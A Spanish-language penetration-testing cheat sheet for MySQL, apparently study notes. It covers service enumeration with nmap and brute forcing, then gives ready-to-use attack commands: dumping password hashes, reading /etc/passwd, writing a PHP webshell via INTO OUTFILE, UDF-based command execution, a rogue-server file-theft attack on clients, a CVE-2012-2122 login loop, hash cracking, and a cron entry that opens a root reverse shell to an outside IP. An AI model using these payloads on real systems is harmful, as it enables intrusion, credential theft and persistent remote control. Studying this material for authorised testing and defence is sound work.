MySQL
MySQL es un sistema de gestión de bases de datos relacionales SQL de código abierto desarrollado y respaldado por Oracle. Una base de datos es simplemente una colección estructurada de datos organizados para facilitar su uso y recuperación. El sistema puede procesar rápidamente grandes cantidades de datos con un alto rendimiento, y el almacenamiento se organiza para ocupar el menor espacio posible. La base de datos se controla mediante el lenguaje SQL. MySQL funciona según el principio cliente-servidor y consta de un servidor MySQL y uno o varios clientes MySQL. El servidor es el verdadero sistema de gestión de bases de datos: se encarga del almacenamiento y la distribución de los datos, organizados en tablas con distintas columnas, filas y tipos de datos. Estas bases de datos suelen respaldarse en un único archivo con extensión .sql (por ejemplo, wordpress.sql).
Instalación / Configuración por defecto
❯ sudo apt install mysql-server -y❯ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock
[mysqld_safe]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
nice = 0
[mysqld]
skip-host-cache
skip-name-resolve
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
explicit_defaults_for_timestamp
symbolic-links=0
!includedir /etc/mysql/conf.d/Configuraciones peligrosas
| Ajuste | Descripción |
|---|---|
user | Establece con qué usuario del sistema se ejecuta el servicio MySQL. |
password | Establece la contraseña para el usuario de MySQL. |
admin_address | La dirección IP en la que escuchar conexiones TCP/IP en la interfaz de red administrativa. |
debug | Indica la configuración de depuración actual. |
sql_warnings | Controla si las sentencias INSERT de una sola fila producen información adicional cuando hay advertencias. |
secure_file_priv | Limita el efecto de las operaciones de importación/exportación de datos (por ejemplo, LOAD_FILE/INTO OUTFILE); si está vacío o mal configurado, puede permitir leer/escribir archivos arbitrarios del sistema. |
Footprinting del servicio
Escaneo con Nmap
❯ sudo nmap 172.16.62.10 -sV -sC -p3306 --script mysql*
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST
Nmap scan report for 172.16.62.10
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
3306/tcp open nagios-nsca Nagios NSCA
| mysql-brute:
| Accounts:
| root:<empty> - Valid credentials
|_ Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0
|_mysql-databases: ERROR: Script execution failed (use -d to debug)
|_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug)
| mysql-empty-password:
|_ root account has empty password
| mysql-enum:
| Valid usernames:
| root:<empty> - Valid credentials
| netadmin:<empty> - Valid credentials
| guest:<empty> - Valid credentials
| user:<empty> - Valid credentials
| web:<empty> - Valid credentials
| sysadmin:<empty> - Valid credentials
| administrator:<empty> - Valid credentials
| webadmin:<empty> - Valid credentials
| admin:<empty> - Valid credentials
| test:<empty> - Valid credentials
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info:
| Protocol: 10
| Version: 8.0.26-0ubuntu0.20.04.1
| Thread ID: 13
| Capabilities flags: 65535
| Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_ Auth Plugin Name: caching_sha2_password
|_mysql-users: ERROR: Script execution failed (use -d to debug)
|_mysql-variables: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:00:00:00:00:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 secondsmysql-empty-password: confirma que la cuentarootno tiene contraseña — hallazgo crítico que permite acceso administrativo inmediato.mysql-enum: realiza fuerza bruta rápida contra una lista de usuarios comunes para ver cuáles existen.mysql-brute: intenta fuerza bruta de contraseñas (aquí confirma querootes accesible sin credenciales).- Otros scripts (
mysql-databases,mysql-dump-hashes,mysql-users,mysql-variables) fallaron en este caso, probablemente porque requieren autenticación válida que no se proporcionó, o por incompatibilidad de versión.
Interacción con el servidor MySQL
Intento de conexión sin contraseña (falla porque el usuario requiere autenticación):
❯ mysql -u root -h 172.16.62.11
ERROR 1045 (28000): Access denied for user 'root'@'172.16.62.1' (using password: NO)Conexión exitosa con credenciales:
❯ mysql -u root -pP4SSw0rd -h 172.16.62.10
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 150165
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.006 sec)
MySQL [(none)]> select version();
+-------------------------+
| version() |
+-------------------------+
| 8.0.27-0ubuntu0.20.04.1 |
+-------------------------+
1 row in set (0.001 sec)
MySQL [(none)]> use mysql;
MySQL [mysql]> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| password_history |
...SNIP...
| user |
+------------------------------------------------------+
37 rows in set (0.002 sec)- No debe haber espacio entre
-py la contraseña (-pP4SSw0rd, no-p P4SSw0rd), o MySQL interpretará mal el argumento. - La tabla
mysql.usercontiene los hashes de contraseñas de todos los usuarios del servidor — un objetivo prioritario tras obtener acceso.
Explorando la base de datos sys para correlacionar actividad de hosts/usuarios:
mysql> use sys;
mysql> show tables;
+-----------------------------------------------+
| Tables_in_sys |
+-----------------------------------------------+
| host_summary |
| host_summary_by_file_io |
| host_summary_by_file_io_type |
| host_summary_by_stages |
| host_summary_by_statement_latency |
| host_summary_by_statement_type |
| innodb_buffer_stats_by_schema |
| innodb_buffer_stats_by_table |
| innodb_lock_waits |
| io_by_thread_by_latency |
...SNIP...
| x$waits_global_by_latency |
+-----------------------------------------------+
mysql> select host, unique_users from host_summary;
+-------------+--------------+
| host | unique_users |
+-------------+--------------+
| 172.16.62.1 | 1 |
| localhost | 2 |
+-------------+--------------+
2 rows in set (0,01 sec)Comandos de referencia rápida
| Comando | Descripción |
|---|---|
mysql -u <user> -p<password> -h <IP address> | Conectarse al servidor MySQL. No debe haber espacio entre -p y la contraseña. |
show databases; | Mostrar todas las bases de datos. |
use <database>; | Seleccionar una de las bases de datos existentes. |
show tables; | Mostrar todas las tablas disponibles en la base de datos seleccionada. |
show columns from <table>; | Mostrar todas las columnas de la tabla indicada. |
select * from <table>; | Muestra todo el contenido de la tabla deseada. |
select * from <table> where <column> = "<string>"; | Busca un valor específico en la tabla deseada. |
Comandos adicionales útiles
Volcar los hashes de contraseñas directamente si se tiene acceso a mysql.user:
mysql> select user, authentication_string from mysql.user;Leer archivos del sistema si secure_file_priv no está restringido (requiere privilegio FILE):
mysql> select LOAD_FILE('/etc/passwd');Escribir un archivo al sistema (por ejemplo, una webshell si hay un servidor web en la misma máquina):
mysql> select "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';- Este tipo de escritura solo funciona si el usuario de MySQL tiene privilegio
FILE,secure_file_privlo permite, y el proceso de MySQL tiene permisos de escritura sobre la ruta de destino.
Fuerza bruta de credenciales con Hydra:
❯ hydra -L usuarios.txt -P contraseñas.txt 172.16.62.10 mysqlConexión especificando explícitamente el puerto (útil si MySQL escucha en un puerto no estándar):
❯ mysql -u root -pP4SSw0rd -h 172.16.62.10 -P 3306Ver los privilegios del usuario actualmente conectado (paso previo obligado antes de intentar cualquier explotación, para saber qué vectores son viables):
mysql> show grants for current_user();Exfiltrar una base de datos completa a un archivo local (útil para analizarla offline o como evidencia):
❯ mysqldump -u root -pP4SSw0rd -h 172.16.62.10 --all-databases > dump_completo.sqlExplotación adicional
RCE vía UDF (lib_mysqludf_sys)
Si el usuario conectado tiene el privilegio FILE y acceso de escritura al directorio de plugins de MySQL (secure_file_priv no lo bloquea), es posible subir una librería compilada (UDF - User Defined Function) y crear una función SQL que ejecute comandos del sistema operativo directamente, logrando ejecución remota de código completa (no solo lectura/escritura de archivos como con LOAD_FILE/INTO OUTFILE):
mysql> show variables like 'plugin_dir';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------------+
mysql> select * from mysql.func;Subir la librería (por ejemplo lib_mysqludf_sys.so, disponible en repos como sqlmap) codificada en hexadecimal usando INTO DUMPFILE:
mysql> select 0x4d5a90000300000004... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';Registrar la función y ejecutar comandos:
mysql> CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
mysql> select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');- Este vector convierte un acceso "solo base de datos" en ejecución de comandos a nivel de sistema operativo — el salto de mayor impacto posible en la explotación de MySQL.
- Requiere privilegios elevados (
FILE+INSERTenmysql.func) y que el proceso MySQL corra con permisos suficientes sobreplugin_dir; en instalaciones modernas y bien configuradas esto suele estar restringido, pero sigue siendo común en entornos legacy o mal hardenizados.
Ataque al cliente vía LOAD DATA LOCAL INFILE (servidor malicioso ataca al cliente)
Vector menos conocido, en dirección inversa a los anteriores: si un cliente MySQL se conecta con local_infile habilitado, un servidor malicioso (controlado por el atacante) puede solicitarle al cliente que le envíe archivos locales arbitrarios de su propio sistema, sin que el usuario lo note:
❯ mysql -u root -h 172.16.62.99 --enable-local-infile- El servidor malicioso, al recibir la conexión, puede responder simulando que espera un
LOAD DATA LOCAL INFILEy pedir rutas como/etc/passwdo archivos de configuración con credenciales; el cliente, si tienelocal_infilehabilitado, los envía automáticamente. - Herramientas como
Rogue-MySql-Server(Python) automatizan este ataque, útil en escenarios donde se logra que un cliente/aplicación interna se conecte a un servidor MySQL controlado (por ejemplo, a través de un string de conexión manipulado o un servidor "señuelo" en la red). - La mitigación es deshabilitar
local_infileen el cliente a menos que sea explícitamente necesario.
Bypass de autenticación (CVE-2012-2122)
Afecta a versiones antiguas de MySQL/MariaDB (anteriores a 5.1.63, 5.5.24, 5.3.6 según la rama) donde una comparación incorrecta del resultado de memcmp() en ciertos sistemas hace que la contraseña se acepte incorrectamente con cierta probabilidad estadística si se reintenta la conexión varias veces seguidas:
❯ for i in $(seq 1 1000); do mysql -u root -pcualquier_cosa -h 172.16.62.10 -e "select 1" 2>/dev/null && echo "Acceso obtenido en el intento $i"; done- Al repetir el intento de login con una contraseña incorrecta cientos de veces, existe una probabilidad de aproximadamente 1 en 256 de que la comparación falle a favor del atacante y la conexión se acepte de todas formas.
- Es una vulnerabilidad antigua y poco probable de encontrar en entornos actualizados, pero sigue apareciendo en sistemas legacy sin parchear — el script
mysql-vuln-cve2012-2122de Nmap (visible en el escaneo inicial) comprueba automáticamente si el servidor es vulnerable.
Crackeo offline de hashes extraídos
Una vez volcados los hashes de mysql.user (ver "Comandos adicionales útiles"), se pueden crackear offline en vez de intentarlo por fuerza bruta en vivo contra el servicio:
❯ hashcat -m 7401 hashes.txt /usr/share/wordlists/rockyou.txt-m 7401: modo de hashcat paracaching_sha2_password(MySQL 8+). Para el esquema antiguomysql_native_password(basado en SHA1 doble), el modo correspondiente es-m 300.- Crackear offline es preferible cuando el servicio tiene límites de intentos, está monitoreado, o simplemente para no generar ruido en los logs de autenticación del servidor.
Escalada a nivel de sistema operativo vía cron + INTO OUTFILE
Si el proceso de MySQL corre como usuario con privilegios elevados (por ejemplo, root en una instalación mal configurada) y se tiene privilegio FILE, se puede lograr ejecución de comandos como root escribiendo un script en una ruta que el sistema ejecute automáticamente, como un cron job:
mysql> select "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.16.62.99/4444 0>&1'" INTO OUTFILE '/etc/cron.d/pentest_persistence';- Esto escribe una entrada de cron que se ejecutará como
rootcada minuto, abriendo una reverse shell hacia172.16.62.99:4444. - Requiere que el proceso MySQL tenga permisos de escritura sobre
/etc/cron.d/(poco común si MySQL corre con su propio usuario de servicio sin privilegios, pero posible en instalaciones mal hardenizadas donde el servicio corre directamente como root). - Es una alternativa a la técnica de UDF cuando no se tiene acceso de escritura al directorio de plugins, pero sí a otras rutas del sistema.